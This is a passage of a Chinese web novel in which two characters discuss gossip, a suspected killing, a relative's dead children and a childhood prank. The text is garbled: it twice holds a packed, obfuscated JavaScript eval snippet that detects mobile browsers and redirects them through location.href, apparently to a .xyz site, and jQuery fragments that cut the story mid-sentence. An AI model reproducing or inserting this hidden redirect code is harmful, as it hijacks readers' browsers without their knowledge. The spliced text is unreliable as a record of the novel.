;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699317|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是个好人,可是——”
“可是什么?”苏静蘅咳嗽两声,宁知序伸手替她拍了拍背。
“可是往外传那些话的也是他们……我的意思是,大概是叶大掌柜默许的,因为我娘那时候也年轻气盛,找他们摊牌的时候话大概说得有些难听,又被叶家的下人听去了,人已经死了,事也已经传出去,他不想让王免与自家扯上关系,于是默认那些人出去乱说,将脏水往别人头上泼,这样自己就能从中抽身,只当个值得同情的受害人。”
“还有……”
苏静蘅目光闪烁,“这件事我没跟渺渺他们说,还有就是,我觉得王免的死也是叶大掌柜做的,他很有手段,年轻时候在我们洛地的八岐舵做过事,那是个混子呆的地方,聚集的都是些鸡鸣狗盗之辈,虽然后来金盆洗手了,但是为人仍带了些蛮不讲理的江湖气。”
提到王免的死,叶娘子没什么反应,叶大掌柜也只是轻轻一笑,对这件事仿佛早有预料。
他心疼自己的女儿,为此死一个人不算什么。
叶娘子也死了心,对王免没什么情分在,他死之后没两年就又招了个上门女婿,如今夫妻恩爱,在洛城是人人皆知的一曲佳话。
诚然,苏静蘅知道王免该死,也恨不得他四个百八十次,但一想到这件事,她没胆子和他们走得太近,谁知道自己哪天无意中得罪了他们,会不会也得一个意外死亡的下场呢?
她有时候也会没骨气地感到后悔,总觉得叶娘子问她愿不愿意去绣帮,她若是应下来,就能挣更多的钱,过更好的日子。
可几番斟酌,还是坚持原来的决定。
苏静蘅跟宁知序说:“我知道这样无端猜测不大好,这事我只说给你听,你千万别说出去。”
“知道。”
宁知序沉吟一会,说,“你娘的事——”
“那些并非以为我娘是坏人而传谣,只是为了逞口舌威风,要在这些事上压别人一头心里才觉得痛快,因为他们坏,这样的人除非哑巴了,死了,别的没法子管住他们的嘴,他们在我面前胡说,我就骂他们,你若见了,千万也替我教训他们一顿。”
“一定。”
“嗯!”苏静蘅心满意足地点头。
话题又落回兰芳婶子身上,她说:“兰芳婶婶叫我去宜村的绣坊试试,那个绣坊不大,论名声却比洛城的绣帮还好,绣坊坊主也是青绣坊出生身的,回来继承家业,将绣坊办得很好,凑巧宜村那边还住了个大人物,叫什么齐大人,从前在朝廷里当大官,后来致仕回乡,同夫人住在皇上赏赐的大宅子里,宜村的书院是他办的,绣坊对他也多有仰仗,若到那里去,比在洛城的绣帮有出息。”
“所以你打算去试试?”
苏静蘅摇头:“不,那绣坊规矩多,而且不招短工,就是散工也要一年起做,我做不了。”
“嗯。”
宁知序漫不经心地将视线从她脸上收回,慢吞吞夹菜。
苏静蘅忽然想起来他没说出口就被自己打断的话,问:“对了,你刚才准备说什么?”
“我想说,宜村似乎是我三叔母的家乡。”
“三叔母?”
“嗯。她跟我三叔和离之后便回了老家,这几年都没再见过她。小时候听家里人提起过两次,你不说,我大概要忘掉这个地方了。”
38. 春三月(三)
宁知序只记得三叔母姓秦,小字明希,宜村人士,与三叔宁正年少相识。
那时宁家的日子刚刚有些起色,但说不上有多富贵,父亲在城里管生意,攒了些钱送回家将旧宅简单翻新一边,他们在这个时候成亲,不为对方的钱财,只求在一起过安稳日子。
与其他几位叔母姑父不同,三叔母出身简单,祖上无名,家境只比当时的宁家好一点,后来宁家发达,三叔母并没有因此而变得目中无人,仍旧本本分分地过日子,衣食住行一切从简,身为弟媳尊敬兄长,既为嫂子,对那时还年轻的姑姑也颇为照顾。
与三叔成亲十年夫妻颇为和睦,原来有一个长女,名唤宁潇,却在八岁时意外落水身亡,后来又生了一子一女,儿子名唤宁朔,三岁时因病夭折,女儿未敢起大名,只取了小名叫阿福,一岁死于高热。
几年里三个孩子相继离世,三叔母深受打击,在宁府日日不得安宁。
阿福去世第二年她提出要与三叔和离,三叔没说什么,点头写了放妻书,给她一笔钱财和一处记在她名下的宅子便送她回宜村,此后宁知序就再也没见过她。
母亲在世时与三叔母走得最近。
二叔母出身书香世家,自幼管教严格,嫁到宁府之后虽然与母亲也有走动,但不曾交心。
四叔母去世得早,堂兄是本县长官,因为大哥的缘故,四叔母娘家那边时常派人来看望,除此之外并无其他联系。
姑姑十八岁时嫁给一位姓白的进士,如今在外地做官夫人,多年不曾回家。
因此三叔母虽然出身比不上其他两位叔母,在为人处事上颇对母亲的胃口,两个人便如同亲姐妹一般,十年来无话不说,情比金坚。
母亲刚过世那段日子,宁知序悲痛欲绝,也是三叔母陪在自己身边,像母亲一般哄着他,那时她承诺此后她会把她当成亲生儿子对待,只可惜后来阿福夭折,她连自身都无法保全,更别说他的事。
“潇潇阿姐比我大两岁,自幼聪慧,她死的时候我才六岁,有些事情记不清楚,但那天三叔和三叔母如何哭泣如何唤他的样子还印在我脑海。”
宁潇三岁识字,五岁便会拨弄算盘,六岁看得懂账本,那时爹还说以后要将宁府的生意交给她看顾,却没想到没两年她就溺水而亡。
宁知序有时做梦也会回到那天,虽然那时候他才六岁,在梦里却因为现实的希冀而生长出十六岁的身躯,只为将她从水里捞起来。
这样或许之后就不会发生那样的事情。
“其实从前三叔对我也是很好的,只是从那件事过后,他便不怎么再与我说话了。”
虽然不知道是为什么。
他只当三叔是受了刺激性情大变,以前吊儿郎当,除了哄媳妇带孩子就是逗鸟听曲的人,从那件事之后便鲜少再开口与人说话。
直到阿朔出生,他才恢复之前的精气神,只是对孩子的事更加上心,总要亲自看着孩子。
阿朔去世的那一年,他前所未有的颓废,后来阿福出生,他仍然提不起什么力气,疏忽之中阿福也走了,他便疯了,三叔母走的那天他一个人在后院笑了一整天,之后说话就总是颠三倒四,做事糊里糊涂,偶尔会清醒,清醒的时候就躲在房里哭,谁也不见。
苏静蘅到这时也才第一次知道他三叔和三叔母身上的事。
从前不细说,随便听他提起一两句也只会道一声可惜,如今再听他说起,止不住有些心痛。
那可是三个孩子,她一个外人都觉得无法接受,跟别说生养他们的母亲和父亲。
“阿朔走路说话都迟一些,虽然比不上他姐姐,大家却依旧喜欢他,自然,他也喜欢我。”
说到这儿宁知序眼里的光都柔和许多,那是他有记忆之后宁府第一个出生的孩子,也是他唯一的弟弟,别人怕他手脚没轻没重伤了阿朔,三叔母却不介意,阿朔先学会叫娘,然后是爹,再然后就是他,叫的不是“哥哥”,而是“序序”,听起来像是要撒尿,可他知道他叫的就是他。
若是阿朔没死,他在府里便多了个玩伴,上房揭瓦,爬树掏蛋必然有他的一份。
这么些年他不敢想起之前的事,或许是刚开始那两年总要经历一些梦魇,他只能逼迫自己不断淡化对这些事情的记忆,所以此后三叔母也从来没入过他的梦,他好像要彻底忘记有这样一个人存在了,如今再听到宜村的消息,他不免有些恍惚。
宁知序想着,摇头自语道:“我不能见她。”
不知道她有没有听说过后来的那些消息,那些说他命中带煞,克死阿朔和阿福的话若是传到她耳中她作何反应?
宁知序觉得她一定不会相信。
也正是因为她不相信,所以她一定会为他出头。
没必要,她不想回宁府去面对那些事那就不要回去,他们之间已经没有交集,从前的伤心事就让它过去吧,希望她在宜村好好过日子。
宁知序正出神,忽然感觉一团柔软从鬓边划过,视线重新聚焦,就看见苏静蘅正伸手抚摸着他的脑袋,边摸边说:“唉,不要伤心了宁知序,事情已经过去这么多年,我们改变不了只能接受,日子是要往后看的,你一直念着过去,只会伤心只会难过,你一伤心难过,连做的饭菜都会不好吃了。”
“……”
苏静蘅眼睛里还带着水汽,明明更难过的是她。
说着,攥住袖口擦擦眼角的泪花,叹一声气,正要收回手,宁知序忽然有动作,抬手紧紧握住她的手腕,炽热的感觉往骨头里冲,苏静蘅惊道:“你做什么?”
宁知序紧紧盯着她,看她手指慢慢蜷曲,有些无所适从地回避他的视线,倏然松手,摸摸鼻尖,然后指着她手腕上的编绳转移话题,说:“没什么,这个绳子哪里来的,你编的?我也想要,为什么不给我也编一个?”
“这个是渺渺送的,不过你喜欢我也可以给你编一个,过几天和渺渺一起去明光寺祈福,到时候请大师诵经开光,去晦气保平安。”
宁知序说:“我要,我要你给我编的,桃花宴过后去明光寺?”
苏静蘅点头:“你要和我们一起去吗?”
宁知序没回答,他想去又不想去。
想去是因为他想和苏静蘅一块儿去玩,不想去是因为他只想和苏静蘅两个人玩,不想带元渺。
真是,她不是有相公吗?干什么整天要和他娘子在一起,搞
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15711258|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得苏静蘅都没空和他一起玩了。
说好了平日没事他在屋外编东西,她在檐下缝衣服,两个人说话聊天,看两只燕子在檐下搭房子,这样的日子多好啊,现在呢,没事就“渺渺长渺渺短”的,感觉渺渺才是她相公,自己真的就是个厨子。
“你要是这一次不去,四月初还有浴佛日,到时候我们可以一起去,听说那几天明光寺有法会,还会分七香汤给百姓,我们去随喜供灯,请佛祖保佑以后顺顺利利平平安安。”
“哦,那我就四月跟你一起去吧,到时候元渺姑娘也一起吗?”
“当然啦,那么大的事当然要和她一起了。”
“……”
算了,放弃挣扎吧宁知序,你还是安心当个厨子吧,当个厨子有什么不好的?颠勺的时候不是挺有风采的吗?
宁知序在心里安慰自己。
“说到明光寺,我有个认识的人也在那里,不知道去明光寺的时候能不能看见他。”
“哦?他住在那儿?”
“不是,他在那里出家当和尚。”
宁知序:“……”
苏静蘅说:“其实我和他从小就不对付,他娘觉得他出家是因为我,都要恨死我了,若是被他娘见到我,恐怕要追着我撵我呢。”
“为你出家?”
宁知序一颗心瞬间提起来,这里面似乎有什么不能为外人道的故事。
“嗯。”
苏静蘅回想那时候的景象,并不觉得自己有什么问题,“那时候我还小,柱子和我家住在同一个巷子里,每天抬头不见低头见,他总是欺负我,有次我娘给我编了两条麻花辫,一不小心被他剪去一条,差点没把我气死,因为这件事,我自己干脆把另一条也剪掉了,原本想告诉他我一点不在乎我的辫子,可我后来又想换了个主意。”
“他把我的辫子剪掉之后还整天到我面前晃悠,也编一模一样的麻花辫,我那时多聪明,没和他置气,每次他找我炫耀的时候我都夸他的辫子好看,说他就适合扎小辫子,夸了他整整一年之后,他终于真心实意喜欢上了麻花辫,每次都编一脑袋的麻花辫,说这样好看。”
“他娘也拦不住他,说他不男不女,但我坚定地站在他那边,说他有男子气概,男子就应该像他那样,一头麻花辫,走在路上所有人都看他,和他混了一年他对我已经非常信任了,然后——”
“然后怎么样?”
“然后我教他喝酒,说男子汉都喜欢喝酒,我从家里偷我爹的酒给他喝,等他喝完醉晕了,就把他绑起来,等他醒的时候,一根一根把他的麻花辫都剪了,最后把他剔成了个光头哈哈!”
宁知序:“……”
苏静蘅说起这件事依旧容光焕发。
“后来柱子哭了很多天,他头发长得慢,我虽然被她娘骂了一顿,但因为她娘也看不惯他满头的辫子,对我也就没有继续追究,期间他有点失了魂了,他娘为了哄他,就带他去寺庙逛了一圈,原本是想让他知道天底下光头有很多,寺庙里面满地跑,没必要为几根头发就哭得停不下来,谁知道他去那儿听了寺庙里师父几句安慰开解的话,瞬间就开悟了,非要留在那里当和尚,不想再回家。”